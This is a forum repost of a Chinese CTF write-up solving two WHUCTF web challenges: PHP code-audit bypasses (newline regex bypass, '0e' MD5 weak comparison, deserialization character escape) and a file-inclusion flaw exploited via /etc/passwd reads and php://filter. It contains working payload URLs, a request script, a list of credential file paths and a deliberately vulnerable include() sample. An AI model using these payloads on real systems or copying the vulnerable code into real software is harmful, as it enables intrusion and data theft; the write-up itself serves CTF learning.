安全矩阵

 找回密码
 立即注册
搜索
查看: 2551|回复: 0

[网络安全] 三十九.WHUCTF (2)代码审计和文件包含漏洞绕过(...

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-6-5 09:34:04 | 显示全部楼层 |阅读模式
[网络安全] 三十九.WHUCTF (2)代码审计和文件包含漏洞绕过(ezphp、ezinclude)原创 Eastmount 娜璋AI安全之家 前天
收录于话题
#安全系列88
#Web渗透41
文介绍实验吧7道CTF基础题目,涉及WEB渗透和隐写术常见题型,包括“这是什么”、“天网管理系统”、“忘记密码”、“false”、“天下武功唯快不破”和“隐写术之水果”
这篇文章将详细讲解WHUCTF部分题目,第一次参加CTF,还是能学到很多东西。下面分享两道我完成的WEB类型题目的解题过程,希望对您有所帮助。非常有意思的文章,作为在线笔记,希望对入门的博友们有帮助!最后感谢武汉大学,感谢这些大佬和师傅们(尤其出题和解题的老师们)~
​这是2019年9月初入安全分享的文章,作为初学者,这些题目当时自己只能完成少部分,更多是学习别人的知识慢慢成长,未来希望自己能真正独立完成更多CTF夺旗题目。
从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!

接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~
推荐前文:网络安全自学篇系列-100篇
https://blog.csdn.net/eastmount/category_9183790.html
文章目录:
  • 一.ezphp
    1.题目描述
    2.解题思路
  • 二.ezinclude
    1.题目描
    2.解题思路
  • 三.总结


作者的github资源:
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。网站目前可以访问,后续应该会关闭,初学者可以试试,但切勿破坏。

一.ezphp1.题目描述考点: PHP代码审计

主界面显示如下图所示:

核心代码如下:
<?phperror_reporting(0);highlight_file(__file__);$string_1 = $_GET['str1'];$string_2 = $_GET['str2'];//1stif($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){    echo '1st ok'."<br>";}else{    die('会代码审计嘛23333');}//2ndif(is_numeric($string_1)){    $md5_1 = md5($string_1);    $md5_2 = md5($string_2);    if($md5_1 != $md5_2){        $a = strtr($md5_1, 'pggnb', '12345');        $b = strtr($md5_2, 'pggnb', '12345');        if($a == $b){            echo '2nd ok'."<br>";        }        else{            die("can u give me the right str???");        }    }     else{        die("no!!!!!!!!");    }}else{    die('is str1 numeric??????');}//3ndfunction filter($string){    return preg_replace('/x/', 'yy', $string);}$username = $_POST['username'];$password = "aaaaa";$user = array($username, $password);$r = filter(serialize($user));if(unserialize($r)[1] == "123456"){    echo file_get_contents('flag.php');}会代码审计嘛23333

2.解题思路本题建议大家本地搭建环境进行测试,这个题目分为三段绕过测试。
(1) 第一段绕过。
首先num值不等于23333,同时preg_match()函数匹配正则表达式,这里使用%0A做截断,通过换行绕过preg_match函数。

  • http://218.197.154.9:10015/?num=23333%0A



(2) 第二段绕过。
传入string_1和string_2并计算md5值,然后要求md5值不相等;再通过strtr()函数将“pggnb”替换成“12345”,替换后的两个值要求相等,这里通过PHP弱类型比较漏洞绕过。
PHP在处理哈希字符串时,会利用 != 或 == 来对哈希值进行比较,它把每一个以"0E"开头的哈希值都解释为0,如果两个不同的密码经过哈希以后,其哈希值都是以"0E"开头,那么PHP将会认为他们相同都是0。

解决方法参考52hertz和Ly-sec-l大佬的文章!
在PHP弱类型中,0e+数字类型使用==会被认为相等,故:
  • 可以让md5_1的值以0e开头,后面含有字母b,md5_2同样以0e开头,但只含有数字(纯数字),从而绕过md5_1 != md5_2。
  • 通过strtr()函数将b替换成5后,使得 $ a == $ b,最终绕过验证。


这里我们需要让str1经过md5后以0e开头,后面只包含pggnb中一个或多个的字母,其余是数字,这样一替换就都是0e造成PHP弱类型的绕过。下列的Python代码还是获取str1含有字母的md5加密值。

运行结果为11230178,md5值如下,替换后就为纯数字。
  • 0e732639146814822596b49bb6939b97


此时构造的Payload如下,成功绕过第二关。
  • http://localhost/0523.php?num=23333%0A&str1=11230178&str2=0e215962017
  • http://218.197.154.9:10015/?num=23333%0a&str1=11230178&str2=QNKCDZO



(3) 第三段绕过。
通过filter进行字符替换,unserialize进行反序列化处理。这里主要利用PHP反序列化中的字符逃逸。

PHP在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的。
比如在一个正常的反序列化的代码输入:
  • a:2:{i:0;s:6:“peri0d”;i:1;s:5:“aaaaa”;}

会得到如下结果,包含两个值。同时,如果换成 :
  • a:2:{i:0;s:6:“peri0d”;i:1;s:5:“aaaaa”;}i:1;s:5:“aaaaa”;

仍然是下面的结果。
<?php  class Test{        public $test;  }  $s1 = 'a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}';  var_dump(unserialize($s1));  echo '<br>';  $s2 = 'a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';  var_dump(unserialize($s2));?>

这道题目的代码将x替换为yy,如果把username换成peri0dxxx ,其处理后的序列化结果为:
  • a:2:{i:0;s:9:“peri0dyyyyyy”;i:1;s:5:“aaaaa”;}

这个时候肯定会反序列化失败的,因为 s:9:“peri0dyyyyyy” 比以前多了 3 个字符,这就需要继续增加填充字符实现了密码的修改。
解决方法:
通过构造:
  • a:2:{i:0;s:5:“admin”;i:1;s:6:“123456”;}
    ";i:1;s:5:“aaaaa”;}

将字符串闭合并控制第二个元素为123456,但存在长度问题,故添加字符串为 admin";i:1;s:6:“123456”;},长度为20,因此我们构造20个x,xxxxxxxxxxxxxxxxxxxx";i:1;s:6:“123456”;},这样x就会被替换成yy,我们就多了20个位置,把我们的 payload 挤出去,就刚好可以闭合了。

最终Payload:
  • http://localhost/0523.php?num=23333%0A&str1=11230178&str2=0e215962017username=xxxxxxxxxxxxxxxxxxxx";i:1;s:6:“123456”;}
import requestsfrom urllib.parse import quote_plusurl = "http://218.197.154.9:10015/?num=23333%0A&str1=11230178&str2=QNKCDZO"data = {'username':'xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'}res = requests.post(url=url,data=data)print(res.text)f = open("test0523.txt","w")f.write(res.text)f.close()
flag输出结果如下:

题目+实战总结:
  • 使用%0A做截断,通过换行绕过preg_match函数
  • 通过PHP弱类型比较漏洞绕过,在PHP弱类型中,0e+数字类型使用==会被认为相等
  • 最后利用PHP反序列化中的字符逃逸


推荐及参考文章:
  • PHP Hash比较存在缺陷 - freebuf
  • [CTF] PHP Hash漏洞(关于0e开头的md5值)- pcy190师傅
  • 详解PHP反序列化中的字符逃逸 -
  • 2020_WHUCTF_Writeup - Ly-sec-l师傅
  • WHUCTF2020 Writeup - 52hertz师傅


二.ezinclude1.题目描述考点: 文件包含漏洞inlude

主界面显示如下图所示:


contact.php核心代码如下:


2.解题思路这道题在contact.php页面有表单提交的选项,提交至thankyou.php页面,通过URL参数及题目提示文件包含,我们尝试往文件包含漏洞渗透。
什么是文件包含漏洞呢?
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。PHP中常见的文件包含函数有以下四种:include()、require()、include_once()、require()_once()。
(1) 首先,我们提交正常的信息,看看反馈结果。
  • http://218.197.154.9:10017/thankyou.php?firstname=eastmount&lastname=csdn&
    country=australia&subject=123456



反馈结果如下图所示:

(2) 通过参数file读取信息,验证该参数可用。
  • http://218.197.154.9:10017/
    thankyou.php?file=/etc/passwd


Linux获取信息常用方法:
/etc/passwd //账户信息
/etc/shadow //账户密码文件
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

尝试file参数其他方式获取信息,但提示include()没有该目录。
  • thankyou.php?file=…/…/…/…/…/…/…/…/…/var/log/apache/error.log
  • thankyou.php?file=…\phpinfo.php
  • thankyou.php?file=Http://127.0.0.1/phpinfo.php



(3) 利用php://filter获取指定文件源码。
当php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。
  • http://218.197.154.9:10017/thankyou.php?
    file=php://filter/resource=flag.php



提示警告信息“Warning: include(): unable to locate filter “resource= flag.php” in /var/www /html/ thankyou.php on line 44”。
(4) 直接读flag.php文件大多数情况会无法显示信息在浏览器页面上,所以需要将文件内容进行base64编码后显示在浏览器上,再自行解码。
  • http://218.197.154.9:10017/thankyou.php?
  • file=php://filter/read=convert.base64-encode/resource=flag.php


(5) 在线base64解密,网址:
  • https://tool.oschina.net/encrypt?type=3
  • flag=whuctf{N0w_y0u_kn0w_file_inclusion}



题目+实战总结:
  • 文件包含漏洞
  • 利用php://filter获取指定文件源码
  • 将文件内容进行base64编码后显示在浏览器上,再自行解码


大家可以在本地利用下列代码实验。
<meta charset="utf8"><?phperror_reporting(0);$file = $_GET["file"];if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){        exit('hacker!');}if($file){        include($file);}else{        echo '<a href="?file=flag.php">tips</a>';}?>
推荐及参考文章:
  • (强推)CTF中文件包含漏洞总结 - LetheSec
  • 文件包含漏洞实例 - Agan兄
  • [Pentester Lab]PHP Include And Post Exploitation - ch_fu
  • 2020_WHUCTF_Writeup - Ly-sec-l师傅
  • WHUCTF2020 Writeup - 52hertz师傅
  • 武汉大学CTF - peiqi师傅


三.总结希望这篇文章对你有所帮助,这是CTF基础题目,2020年5月第一次参加CTF比赛写的。这半年来,原创博客越来越少,希望自己能在博士路上不断前行,多读论文,多写论文,多学新知识。加油~也祝所有在读博士都学有所成,勿忘来时的路,砥砺前行。晚安娜~
  • 一.代码审计绕过
  • 二.文件包含漏洞绕过
  • 三.总结

CTF初学者个人建议:
  • 多做CTF题目,多参加CTF比赛,多交流经验
  • CTF题目推荐BUUCTF,比赛每个月都有很多,大赛小赛,比如XCTF、KCTF、WCTF等
  • 每个优秀的CTF选手都有自己的工具库、脚本库、词典库
  • 多向优秀的安全团队学习,关注他们的公众号,甚至加好友,组队比赛
  • CTF比赛对找工作有帮助,但后续建议和漏洞挖掘实际工作结合起来

天行健,君子以自强不息。
地势坤,君子以厚德载物。

真诚地感谢您关注“娜璋之家”公众号,也希望我的文章能陪伴你成长,希望在技术路上不断前行。文章如果对你有帮助、有感悟,就是对我最好的回报,且看且珍惜!再次感谢您的关注,也请帮忙宣传下“娜璋之家”,初来乍到,还请多指教。

娜璋AI安全之家
CSDN博客专家,武大在读博士,北理硕士本科。专注于Python和安全技术,主要分享Web渗透、系统安全、AI、大数据分析、恶意代码检测、CVE复现等文章。真心想把自己近十年所学所感分享出来,与您一起进步。娜美人生,醉美人生,感谢您的关注。
131篇原创内容
公众号

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:53 , Processed in 0.014028 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表